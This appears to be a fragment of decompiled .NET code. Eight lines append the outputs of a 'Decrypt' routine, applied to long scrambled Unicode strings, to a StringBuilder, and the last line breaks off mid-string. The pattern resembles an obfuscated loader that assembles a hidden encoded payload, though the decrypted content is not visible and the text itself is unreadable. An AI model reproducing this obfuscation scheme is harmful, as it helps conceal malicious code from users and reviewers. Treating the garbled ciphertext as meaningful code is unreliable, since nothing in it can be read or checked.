stringBuilder.Append(\u003CModule\u003E.Decrypt("\u171Bᜅᝃᜐ\u171Bᜅᝃᜐᝆ\u171Aᜇᜒ\u173Dᜅᝃᜓ\u173D\u171A\u170Dᜒ\u173Dᜅᝃᜓᜭᜅ\u1738ᜒ\u173Dᜅᝃᜓ\u171Bᜅᜧᜒ\u173Dᜅᝃᜓᝆᜅ᜔ᜒ\u173Dᜅᝃᜐᝆᜅᜃᜒ\u173Dᜄ᜔ᜐ\u171Bᜅᝃᜐ\u171Bᜅᝃᜐᝆ\u171A\u1738ᜒ\u173Dᜅᝃᜓ\u173D\u171Aᜧᜒ\u173Dᜅᝃᜐᝆ\u171Aᜇᜒ\u173Dᜅᝃᜓ\u173Dᜄᜭᜒᜭᜅᝃᜓᜭᜄ\u1716ᜒᜭᜅᝃᜓ\u171Bᜄ\u171Dᜒᜭᜅᝃᜓᝆᜄᜇᜒᜭᜅᝃᜐᝆᜇ\u1737ᜒᜭᜅᝃᜓ\u173Dᜇ\u173Eᜒᜭᜅᝃᜓᜭᜇᜠᜒᜭᜅᝃᜓ\u171Bᜇ\u1717ᜒᜭᜅᝃᜓᝆᜇ\u171Aᜒᜭᜅᝃᜐᝆᜇ\u1737ᜒᜭᜅᝃᜓ\u173D\u171A\u173Eᜒᜭᜅᝃᜓᜭ\u171Aᜬᜒᜭᜅᝃᜓ\u171B\u171A\u171Dᜒᜭᜅᝃᜓᝆ\u171A\u171Bᜒᜭᜅᝃᜐᝆ\u171A\u175Eᜒᜠᜁᝃ\u1738\u171B\u175E\u173Bᜐᜒᜁᝃ\u1738\u171B\u175Eᜧᜐᜄ\u173Bᝂ\u1738\u171B\u175Eᜧᜐᜅ\u173Bᝂ\u1738\u171B\u175Eᜧᜐᜀ\u173Bᝂ\u1738\u171B\u175E\u173Bᜐᜄᜁᝂ\u1738\u171B\u175Eᜧᜐᜇ\u173Bᝂ\u1738\u171B\u175Eᜧᜐ\u171F\u173Bᝃ\u1738\u171B\u175Eᜢᜐᜁ\u173Bᝂ\u1738\u171B\u175E\u1716ᜐᜇᜁᝂ\u1738\u171B\u175Eᜧᜐᜒ\u173Bᝂ\u1738\u171B\u175Eᜧᜐᜃ\u173Bᝂ\u1738\u171B\u175E\u171Dᜐᜆ\u173Bᝂ\u1738\u171B\u175Eᜧᜐᜅᜁᝂ\u1738\u171B\u175Eᜧᜐ\u171E\u173Bᝃ\u1738\u171B\u175E\u173Bᜐ\u171D\u173Bᝃ\u1738\u171B\u175E\u1718ᜐᜃᜁᝃ\u1738\u171B\u175Eᜆᜐᜄ\u173Bᝃ\u1738\u171B\u175E\u173Bᜐᜇ\u173Bᝃ\u1738\u171B\u175E\u173Bᜐᜇᜁᝃ\u1738\u171B\u175Eᜌᜐᜁᜁᝂ\u1738\u171B\u175E\u173Bᜐᜒ\u173Bᝃ\u173A\u173D\u175Eᝃᜐᜅ\u173Bᝃᜤᜭ\u175E\u175Aᜐ\u171Bᜁᝂᜦ\u171B\u175Aᜰᜐᜁᜁᝃᜡᝆ\u175A\u173Dᜐᜁᜁᝃᜣᝆ\u175A\u173Aᜐ\u171Bᜁᝂ\u1738\u171B\u175E\u1716ᜐ\u171Cᜁᝂ\u1738\u171B\u175Eᜧᜐ\u171Bᜁᝂ\u1738\u171B\u175Aᜣᜐ\u171Bᜁᝂᜭᝆ\u175A᜔ᜐᜀᜁᝃ᜔ᝆ\u175Aᜓᜐ\u171Bᜁᝂᜡᝆ\u175Aᜄᜐᜁᜁᝃᜑᜭ\u175Aᜀᜐᜅᜁᝃᜓ\u171Aᜱᝅᜐᜅᜁᝃ\u171F\u171Aᜱᝃᜐ\u171A\u173Bᝂ\u1738\u171B\u175E\u173Bᜐᜅᜅᝃ\u171Dᜭᜅᜦᜐᜄ\u171Dᝃᝄᜭᜄ\u1718ᜐᝃ\u171Dᝃᜏᜭᜄ\u173Fᜐᝃ\u171Dᝃ\u170Dᜭᜄᜑᜐᝃ\u171Dᝃᝂᜭᜇᜤᜐᝃ\u171Dᝃᝀᜭᜅᜭᜐᜄ\u171Dᝃᝆᜭᜅᜭᜐᜄ\u171Dᝃᜅᜭᜅᜑᜐᜄ\u171Dᝃ\u171Bᜭᜅᜭᜐᜄ\u171Dᝃ\u1719ᜭᜅᜭᜐᜄ\u171Dᝃᜃᜭᜄᜠᜐᝃ\u171Dᝃᜁᜭᜄ\u173Fᜐᝃ\u171Dᝃᜇᜭᜅᝍᜐᝆᝄᝃᜰ\u173Dᜄ\u173Dᜐ\u171D\u1737ᝃ\u171Eᝆ\u171Aᜤᜐᜅᝄᝃᜰ\u173Dᜄᜇᜐ\u171D\u1737ᝃᝃ\u173Dᜃᜇᜐᝂᜳᝃᜀ\u171Bᜇ\u173Dᜐᜒᜁᝂᜐ\u171Bᜁ\u175Aᜐᜄ᜶᜴ᜐᝆᜅᝃᜐᝁᜳᝃ\u175Eᝁ", 6005));
|
||||
stringBuilder.Append(\u003CModule\u003E.Decrypt("ᓂᒷᓥᓮᓰᒷᓧᒳᓯᓗᓧᓈᒱᒶᓥᓮᓵᓆᓥᓪᓱᓁᓥᒳᓰᒶᓥᒴᓤᒶᓙᓯᓂᒸᓥᓮᓰᒷᓩᓘᓰᒳᓧᓈᓴᒶᓥᓮᓵᓌᓥᓯᓩᓂᓥᒳᓲᓁᓥᒴᒱᒶᓳᓉᓆᒷᓥᓲᓰᒷᓪᒳᓲᒳᓧᓘᓸᒶᓦᓶᓰᒶᓥᓮᓴᒶᓥᓮᓰᒶᓥᓮᓰᒶᓥᓮᓰᒶᓥᓮᓰᒶᓥᒳᓰᒶᓥᓮᓸᒶᓥᓮᓰᒶᓥᓮᓰᒶᓥᓮᓰᒶᓥᓮᓴᒶᓩᒳᓰᒶᓥᓮᓰᒶᓧᓮᓰᒶᓥᓮᓰᒶᓥᓮᓰᒶᓥᓮᓰᒶᓨᓈᓱᓕᓥᓮᓰᒶᓥᓮᓰᒸᓥᓮᓰᒶᓥᓮᓰᒶᓥᓮᓰᒶᓥᓮᓰᒷᓥᓱᓰᒶᓥᓮᓰᒶᓥᓮᓰᒶᓥᓮᓰᒷᓥᓮᓰᒶᓺᓘᓰᒶᓥᓮᓰᒶᓥᓵᓘᓰᒳᓎᓶᓤᓥᓵᓘᓰᒳᓎᓶᓤᓱᓎᒷᓭᒵᓮᓲᓮᒷᓤᒳᓰᒷᓏᓢᓪᒳᓈᓲᓈᒴᒹᒳᓳᒶᓥᒳᓰᒴᓏᒶᓯᒰᓏᓐᓴᒷᒹᓶᓭᓶᓎᓶᓴᒴᒹᒱᒶᓺᓦᓐᓴᒷᓴᒯᓮᓥᓵᓘᓦᒷᓏᓪᓦᒵᓱᒲᓳᓥᓵᓘᓦᒷᓏᓪᓦᒵᓱᒲᓳᓱᓎᒷᓭᒵᓮᓲᓯᒷᓴᒷᓭᒵᓮᓲᓬᒶᓤᓺᓢᒳᓡᓪᓍᒳᒫᒳᓰᒷᒫᓺᓤᒳᒫᒲᓯᒷᓎᒯᓴᒶᓥᒯᓳᒳᓤᒯᓴᓥᓲᓶᓱᒶᓵᓢᓪᒳᓤᓶᓵᒴᒫᓮᓯᓶᓎᓶᓴᒳᒳᓲᓈᒴᒹᒳᓳᒶᓥᒳᓰᒴᓏᒶᓯᒰᓏᓐᓴᒷᒹᓶᓭᓶᓎᓶᓴᒴᒹᒲᓯᓵᒫᓲᓱᒵᓵᓐᓤᒲᒫᒷᓪᒶᓥᓪᓎᒳᒫᓺᓷᒴᒹᒳᓦᒷᓘᓲᓐᒷᓤᒯᓳᓥᓲᒳᓰᒶᓐᓄᓦᒷᓏᒳᓪᒶᓥᓪᓴᓥᓳᓦᓪᒳᓥᓺᓰᒷᓥᓮᓧᒷᓱᓪᓑᒴᒫᒳᓶᒲᒫᓡᒸᒲᒫᒳᓪᒳᓡᓩᒹᒶᓥᓦᓱᒴᒫᓢᓦᒷᓍᒳᓦᒷᓐᓄᓪᒳᓤᒯᓴᓥᓳᓲᓳᒶᓥᓔᓦᒳᓥᒶᒫᒲᒫᒷᓢᓥᓳᒳᓵᒲᒫᓪᓥᒲᒫᓺᓥᓸᒫᓮᓥᒷᒫᓢᓦᓵᒫᒷᓵᒷᓏᓐᓣᒷᒫᒷᓦᓥᓲᒳᓰᒵᒫᓲᓶᒷᓴᒯᓳᓥᓳᓦᓪᒳᓥᓺᓰᒷᓥᓮᓧᒷᓱᓪᓑᒴᒫᒳᓶᒲᒫᓡᒸᒲᒫᒳᓪᒳᓡᓩᒫᒳᒯᓄᓪᒳᓤᒯᓴᓥᓳᓌᓪᒳᓴᒯᓈᒶᓤᒷᓶᒵᓴᒯᓉᒲᒫᓦᓦᓵᒫᒷᓵᒷᓏᓐᓣᒷᒫᒷᓦᓥᓳᓦᓺᓷᓥᓺᓰᒷᒫᓱᒹᒶᓥᓢᓭᒳᒹᒳᓵᒴᒫᓮ", 5248));
|
||||
stringBuilder.Append(\u003CModule\u003E.Decrypt("ᥕ᥏ᤑᤍ᥏ᤍ\u1975ᥪᥙᤍᤑᤍᥜᥟ᥈ᤉ᥊ᤌ\u1975ᤍᥜᤂ᥏ᤍᥫᤈᤑᥘ᥌ᤉᤃ᥋᥈ᥟ᥉ᥜᥐᤉᥟ᥀᥊ᤍᥟᥔᥝᤍ᥋ᥐᥫᤎᤑᤉ᥌ᤈᤑᥛᤂᤈᤑᤉᥐᤉᥛᥐᥲᤂᤂᤉᥜᤍᥪ\u197Eᥐᤉᥞᤕ᥎᥋\u1977ᥪᥕᤍ᥎ᤕ᥉ᤌᥴ᥌ᥗᥟ᥈᥌ᥞᤍ᥏ᥪ᥍ᤈᤑᤍ᥊ᤍᥲ᥋ᤍᤍ\u1975᥀ᥘᤂᤉ᥋ᤂᤎᤑᤌᤃᤌᥟᥐ᥍ᤉᤑ᥀᥏ᤉᤑ\u1942ᤌ᥌\u1975ᥔ᥊ᤏ᥎ᤕᥘᤌᥲ᥋ᤂᤍᤑ\u197Eᥝᤉᤑ\u1942ᤌ᥌ᥪᥪ᥏ᤉᤉ᥈\u1978ᤉᤑᥐᥜᤍᥴ᥌᥏ᤉᤃᤌᤃᤌᥞᤍᥜ᥏ᤑᤍ᥏ᤍ\u1975ᥪᥙᤍᤑᤍᥜᥟ᥉ᤉ᥀ᤍᥟᤍᥜᤏᤌᥓᤃᤌᥞᤍᥜ᥌᥏ᥔᥔ᥋\u1976ᤉ᥊ᤏᤑ᥈ᥐᤏ᥎ᤕ᥉ᥟ᥈᥌᥉ᤍᥴ᥌᥀\u1942᥏ᥪ᥎ᤍᥔ᥈ᥴᤂᤑᤉ᥏ᤉᤑᥟᥕ᥌ᥟᥔᥗᤏ᥎ᤕᥞᤍ᥏ᥪ᥊ᤌ\u1975ᤋᤌ᥍᥎ᤕᥗᤌ᥉ᥢᥜᤂᤕᥲ᥊ᤍᥴᤌᤍᤍ᥏ᤍ᥉ᤎᤃ᥀᥌ᤍ᥎ᤃᤌ᥀ᥜᥪ᥎ᤍ᥎ᤕᥔ᥋\u1976ᤉ᥊ᤏᤑ᥈᥊ᤌᥴᤕᥕᤍ᥉ᥜ᥊ᤉ᥎ᤕᥗ᥋\u1976ᤍᥜᤍᥟᥪᥒᤌᥲ᥋ᤕᤉ᥏ᥪ᥏ᤌᥟ\u1943ᤂᤍ\u1975ᥔ\u1942ᤍᥞ᥌ᥙᤏ᥎ᤑᤍᤍ᥏ᤍ᥉ᤎᤃ᥀᥌ᤍ᥎ᤃᤌ᥀ᥜᥪ᥎ᤍ᥎ᤕᥔ᥋\u1976ᤉ᥊ᤏᤑ᥈᥊ᤌᥴᤕᥕᤍ᥉ᥜ᥊ᤉ᥎ᤕᥗᥟ᥈ᤕᥟᤎᤑᤍ᥊ᤍ\u1976᥀᥉ᤌᥜᥲ᥎ᤈᤃ᥀ᥗᤉᤂᤉ᥏ᤈᤑᤍᥜᥟ᥈᥌᥋ᤌ᥏ᥘᥐᤉᥞ᥌᥏ᤎᤑᥔᥕ᥀ᥞᤕ᥏ᤍ᥏ᥪᥕᤎᥟᤈᤂᤈᤑᤉᥜᥟ᥉ᤉ᥀ᤍᥟᤍᥜᤏᤌᥓᤃᤌᥟᥐᥝᤎᤑᥲ᥌ᤍᥴ᥌᥏ᤎᤑᥔᥕᥟ᥉ᤉᥜᤍ᥏ᤍᥐᤌ\u1975ᥲ᥎᥌ᥴ᥌᥎ᤉᤉ᥋ᤑᤉᤃ᥀᥌ᤎᥟᥲᥘᤉ\u1975ᥘᥜ᥏ᤑᤍ᥏ᤍ\u1975ᥪᥙᤍᤑᤍᥜᥟ᥉ᤉ᥀ᤍᥟᤍᥜᤏᤌᥓᤑᤎᤃ᥌ᥒᤌ\u1975ᥔ᥎ᤍ᥏ᥪᥞᤍᥢ᥋ᤑᤉᤃ᥀᥌ᤎᥟᥲᥐᤌ\u1975ᥲᥲᤌᥞᤍᥜᤍᥢ᥋ᤑᤉᤃ᥀᥌ᤎᥟᥲᥜᤍ\u1977\u1976ᥐᤉ᥎ᤍᥜᤌ\u1976᥌᥏ᤍ᥏᥀ᥐᤉ\u1975ᤕ᥏ᤉᤉ᥋ᤑᤉᤃ᥀᥌ᤎᥟᥲᥜᤍ\u1977ᥐ᥊ᤌ\u1977ᤕ᥎ᤉᤑ\u1943ᤃᤌᥞᤍᥜ᥏ᤑᤍ᥏ᤍ\u1975ᥪᥙᤍᤑᤍᥜᥟ᥈ᤕ\u1943ᤉᥞᤕ᥋ᤍ᥏ᥪ᥊ᤌᥲ᥋ᤃᤍᤑᥘ᥏ᤍᤑ᥀ᥜ", 6458));
|
||||
stringBuilder.Append(\u003CModule\u003E.Decrypt("┕╉┈┅╔┺┐┬╚╉║┗║╉┇┍┕┇─┒║┬└┏╖╍┶─╕┗┲┒╔┪┐┦╔┭╔┐┑┪┐┦╔┭╔┖┐┪┐┦╔┭╔┕┐┌┐┦╔┭╕┩╕┗┚╔┛┆┘┉║╛║┗┇┐└┖╕┆╍┌║┭─┘┇┑║┘╕┇╕┄╗╔┈┯║╉┦┏║╛║┗╖╉┌┍┇┐└┖╕┆╍┌║┭─┘└┇┌┌╔┖└┍╚╕└┗╕┗┘┈║┭╍┗║║┓╕╕┇║┄╗╛┘┏╚╕║┒╔└┲┑╖╉┪┋╕┐└┗╕┗┘┈║┭╍┗║║┓╕╕┇║┄╗╛┘┏╚╕╕┄╕┆║┑╖╉┐┗╖╉┌┍┗╉╕┗╕┭┲━╕╉╕┄┇┐└┖╕┆╍┌║┭─┘┕┭┲┏║╛┦┄╕┭║┈╔┇┋╕╕┗╕┑╖╛┘└╕┖╛╔┗╉║┖║╉┄━╗└┲┩╕┭┌┇╕╛║┗┗╉╕┗╕┭┲━╕╉╕┄┇┐└┖╕┆╍┌║┭─┘┘┗┲┗╗┖╉╕╕┗╕┑╖╛┘└╕┖╛╔┗╉║┖║╉┄━╗└┲┭╕┬└┇║╉┄─╕┭┵╕╕┗╕┑╖╛┘└╕┖╛╔┘┬╍┖╔┇╍┑║┆╍┪═╉┈─╖┆╍┑┇┑║┘╕┇╕┄╗╔┈┯║╉║┒╕╉┘┆║╉╓╔└┇┌┌╔┗┲┏═╉╕┈╔┇┈┯║╉──╚┖└┗╖╉┌┍╕─└┗╕┗┘┈║┭╍┗║║┐┬╚╉║┗║╉┇┍┘┭╍┍╕┗┲┌║╔┋╛╔┇┄┓╖╉─┄╕┯║┄╕┲┦┈║┆╍┖┇┐║┒╗╉┐┈╗┖╍┑┕┆╍┍║╉┘─╕┖╍┇┗╉╕┗╕┭┲━╕╉╕┄┇┑┘└╔┭╕┈╗╛╉╛╔┇┄┓═╉╕┈║┭┲┏╖╉╕┘┗╉╕┗╕┭┲━╕╉╕┄┇┑┘└╔┭╕┈╗╛╍┡║╉─┓║╉┘┖┇┐║┒╗╛┦┈╕┇┲━╗┖╉╕╕┗╕┑╖╛┘└╕┖╛╔┘┄┲┖╕┖╍┌┓┯┘└╔┭╕┈╗╛╉┍┕╉┈┗║╉┘┒╔┑║┄╕┲┦┈║┆╍┖┇┐╕┏╗", 9570));
|
||||
stringBuilder.Append(\u003CModule\u003E.Decrypt("♲♑♯☷♴♯♲☶♳♷♴☶♴♻♫☲♎☮♴☲☲♳♃☶☪♑♤♴☪☶♴☶♎♑♢☶☪☶♧♤♲♧♣☶♎☲♨☳☪♠☶☶♣♷♴☶♴♻♫☲♎☮♴☲☲♳♑☷♎♧♣☷♏♷♩☲☸☶♎☹☪♳♧♤♲♻♷☷♎☶♫☴☸☮♎☹☪♳♧♶♵♷♮☲♴♣♧♤♲☲♴☶♎♑♮☵♙♳♏☶♴♻♫☷♎♆☹☶☪♑♬☲♵☮♲♤♲☲♻☶♤☶♧☴☷♫♎☲☮♍♴♤♲☶♻☷♵☸☷♻☹♑♮☶♰☳♲♤♵♅♱☵☸☴☷♵♲♧♱☲♴☮♬☲☶♩☷♰♏☲♴☷♤♹☷☵♥☮♴☳♢♑♴☲☪♥☷♻♴♯♏☶♴♻♫☷♎♇☷☰♏☮♲☷♙♳♎☷♢♑♮☶♰☳♲♤♲☶♱♶☪♫♴♰☶♃☷☷♤♳♛♷☮♍♰☴♴♑♥☵☪☴☷♷♎♣♱☲♤♖☸☷♤♳♻♤♲♉♧☶♳♻♻☶♵☮♵♤♲☲♧☶♲♳♲☷♤♕♧☲♤☷☮☶♎♻♱☶♉♰☸☴♵☮♣☶♌♳♲☷♤♕♧☲♤☷☮☶♎♻♱☶♉♰☸☶♏☮♣☶♵☮♊☶♎♯♥☲☪☲♵♤♵♷♰☷♲♫♣☴☸☸☷☲♤♯♯☴☸♷♮☲♲♣♫☷♏☸☷☷♴♻♱☲♣♷♴☶♴♹☷☶♴♍♲♴☪☶♴☶♉♳♫☷♎♍♧☶♎♑♴♤♵☲♲☲☸♷♴☵☪♯♮♤♵☮♮☹♉♳♥☶☪♸☪☵☪♹☷☶♢♑♮☵♎♭☷☷♲♑♮☵♎♭☷♶♥☮♴♻♴♍♲☲☸♷♤♷♤♯♮☶♵☮♸☶♯♳♨♻♴♍♲♤♵☲♴☹♴☴☷♸♎☶♑☷♎♧♣☷♵♅♫☲☮♉♋☵♌☲♧☲♤☶♫☷♤♩☷☵♲♳♲☷♥☰☷☲♏♷♵☲☶♷♤☲♴♹☷♻♏☮♣☲♲♳♲☷♥☲♧☶♤☲♉☲☪♧♱☶♑♏☷☲♎☮♦☶♉♳♢☶☪♅♲♻♤♑☱☲☲♳♮☶☪♧♌☲☸♷♤♤♲♻♧☶♤☮♯☲☹☶♨☶♏☮♣☲♯♳♨♻♴♍♲☲☸♷♤♤♲☲♧☶♲☶♨☶♏☮♣☲♳☲♱☷♎☶♧☹♴☴☷☱♎♑♲☶♴☮♣☴♳♷♬☴♴", 9729));
|
||||
stringBuilder.Append(\u003CModule\u003E.Decrypt("⒞\u2494\u2486ⓟⒺⓆⓂⓉⓇ\u2495ⓇⒸ\u2482\u2484Ⓞⓟ⒤\u2496\u2495\u2484\u2486⒝Ⓟ\u2485⒞\u2494\u248A\u2486⒠\u2481ⓃⓃ\u2482\u2481ⓇⒿ⒞\u2485\u2495\u2484⒴\u249AⓇⒿⓇ\u2486Ⓜⓛ\u2492ⒻⓇⒿ⒞\u2485ⓃⓉⓃ\u2485\u2486ⓟⒺⓆⓄ\u2483\u2482\u2483Ⓠ\u2494Ⓝ\u2496Ⓡ\u2495ⓁⓆⓅ\u2485\u2481ⓇⓃ\u2484Ⓡ\u2483ⓃⓛⓃ\u2484\u2495\u2484Ⓡ\u2488\u248A\u2495⒠ⓀⓃⓃ\u2482\u2497Ⓟ\u2483\u249A\u2496Ⓢ\u2493\u2482\u2483Ⓠ\u2495Ⓡ\u2496Ⓝ\u2495ⓅⓆⓅ\u2485\u2482\u2497Ⓟ\u2483⒞⒝Ⓝ\u2483\u2482\u2483Ⓠ\u2495Ⓡ\u2496Ⓝ\u2495ⓅⓆⓀ\u2495\u248A\u249AⓇ\u2484ⓟⒻⓇⒿ⒞\u2494ⓃⓛⓃ\u2484\u2488Ⓣⓟ⒞Ⓠ\u2495\u248A\u248A\u2495\u2485\u2492\u2481\u2486Ⓘ\u2486\u2484ⓃⓇ\u2486\u2495Ⓝ\u2485\u248A\u2496Ⓡ\u2495ⓁⓆⓅ\u2485\u2481ⓈⓇⓛ⒴\u2497Ⓝⓛ\u2488ⓆⓆⒽⓃ\u249AⓉⒾⓉⓆⓅ\u2485\u2482ⒹⓇⓛ\u2496\u2493Ⓝⓛ\u248AⒺⓄⒼ\u248A\u248AⓇ\u2484ⓟ\u2484Ⓚ\u2495\u248A\u249AⓇ\u2485Ⓡ\u2496ⓆⒸ\u2482\u2488Ⓝⓛ\u2492⒝\u2495⒞\u2480Ⓠ\u2495\u2497\u2482⒱⒳Ⓔ\u2488\u2482Ⓖ⒢Ⓡ⒲Ⓓ⒠\u2487Ⓡ⒣Ⓔ⒳\u2488Ⓔ⒢\u2488Ⓠ\u2497\u249AⒸⓀⓁ\u2484⒳⒤\u2482⒜⒟⒴\u2497\u2499\u2481ⓅⓂ\u2496⒝Ⓖ⒤Ⓞ⒣Ⓚ\u2496⒪\u2480Ⓠ\u2495ⓃⓆ\u2491\u2495Ⓝ\u2485Ⓓ\u2496Ⓟ\u2480Ⓡ\u2495Ⓞ\u2486\u2492\u2496\u2480\u2480Ⓡ\u2495ⓄⒺⓛ⒝⒞\u2484Ⓡ\u2496Ⓒⓛ\u2491\u2495Ⓝ\u2485Ⓖ\u2489Ⓝⓛ\u2491\u2496Ⓒ\u2485Ⓓ\u2499ⒹⒷ\u2491\u2496⒞\u2485Ⓓ\u2499Ⓓ\u2499Ⓓ\u2496\u2480\u2480Ⓡ⒜⒟Ⓔⓛ\u2495⒞\u2485Ⓓ⒜⒞\u2489⒱\u249B⒟⒲Ⓠ\u2496ⒹⒻ⒨\u2496ⓄⒻ⒱\u2495⒞\u2489⒱⒜Ⓝⓛ⒳\u2496\u2480\u2480Ⓡ\u2495Ⓞ⒢ⓛ\u2495⒞\u2485⒳\u249B⒟⒢Ⓠ\u2496Ⓝ\u2485Ⓗ\u2480ⓄⒻⒽ\u2480ⓄⒻ⒳\u2496⒪\u2480Ⓠ\u2497⒞ⓉⓆ\u2495Ⓟ\u2494ⓟ\u2497⒞ⓉⓆ\u2495Ⓝ\u2485ⒽⓅⓃⓁⓆ\u2495⒞\u2485Ⓖ\u2495⒟⒢Ⓢ\u2499Ⓓ\u248AⓆ⒥ⓅⒻ⒣\u2496ⒹⒻ⒣\u2499Ⓔ\u2494ⓟ⒜ⓅⒺⓇ\u2496Ⓓ⒲Ⓠ\u2496Ⓒ\u2489⒣⒜ⓄⒾⓟ\u2495⒞\u2489⒴\u249B\u2480Ⓕ⒵\u2495⒞ⓉⓈ\u249B\u2480ⒻⒻ\u249B⒟ⒻⒻ\u249B⒞ⓅⓆ\u2495ⓄⒿ⒣\u2497⒞\u2480ⓟ\u249B\u2480Ⓕ⒣\u249B⒟Ⓕ⒳\u2497Ⓝ\u2480ⓟ\u2496ⒺⒻ⒣\u249B⒟ⒿⒻ\u2497ⓄⒾⓆ\u2496Ⓝ\u2489⒣\u249B\u2480\u2494ⓟ\u2497ⓄⒺⓟ\u2495⒞\u2484Ⓢ\u249AⒼⓉⓛ\u2495Ⓝ\u2480Ⓠ\u2495⒞ⓉⓇ\u2495⒞\u2480Ⓠ\u2495\u2480\u2498Ⓡ\u2495⒞\u2484Ⓠ\u248A⒞\u2489⒡Ⓚ\u2495\u248A\u2492Ⓠ\u2483\u249A\u2480ⓆⒼⓟ\u2489Ⓝ\u2494ⓟ\u2481Ⓡ\u2485⒠\u2480ⓆⒽⓇ\u2499ⓇⒿ⒞\u2488Ⓡ⒨\u2485Ⓑ\u2495Ⓝ\u2481⒲\u2481Ⓠ\u2499\u2481\u2481Ⓕ\u2481⒟\u2481⒞\u2480Ⓠ\u2498Ⓒ\u2484Ⓠ\u2496ⓛ⒨\u2480ⓃⒾ\u2486\u2494\u2495⒞\u2481⒳\u2495Ⓝ\u2480Ⓣ\u2495⒞\u2480Ⓠ\u2495⒞\u2481⒳\u2495Ⓝ\u2481⒳\u2495⒞\u2480", 9456));
|
||||
stringBuilder.Append(\u003CModule\u003E.Decrypt("⊭⋾⋵⋪⋱⋾⊨⋪⋾⊨⊭⊨⋼⋩⋗⋋⋽⋪⊢⊭⋵⋪⊢⊨⋿⋨⋪⋾⋮⋨⋩⋜⋬⋫⊢⋮⋬⊨⊢⊰⋵⋪⋩⋘⋡⊨⊬⋗⋼⊨⋩⋗⋾⋪⊭⋮⋩⋾⋵⋪⋉⋾⊨⋪⋖⋭⋾⋵⋪⊣⊰⋡⋱⊯⋾⋗⋮⋶⋱⋬⋱⋶⋫⋪⋨⋪⋪⋮⋪⋾⋵⋫⊣⋼⋃⋪⋁⋼⋁⋜⋃⋽⊨⋢⋒⋼⋴⋐⋈⋷⊮⋐⋈⋷⊨⊰⋃⋼⊮⋐⋈⋰⋫⋐⋈⋰⋴⋐⋘⋰⋫⋿⊴⋷⊯⋐⋘⋼⋵⋢⋃⋽⋡⋺⋯⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋷⋲⋯⋾⋵⋫⊭⋶⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⋐⋩⋃⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⊩⋹⊨⋫⊬⋗⊬⋶⊮⋨⋽⋹⊯⊰⋳⊭⊮⊰⊨⋿⊭⋾⋡⋽⊨⊭⋱⋾⊮⋮⋁⊭⋾⋵⋫⊭⋾⋵⋶⋽⋾⋫⋪⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋪⋪⋾⋵⋪⋜⋾⋵⋫⊭⋺⋪⊪⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭⋾⋵⋫⊭", 8859));
|
||||
stringBuilder.Append(\u003CModule\u003E.Decrypt("\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D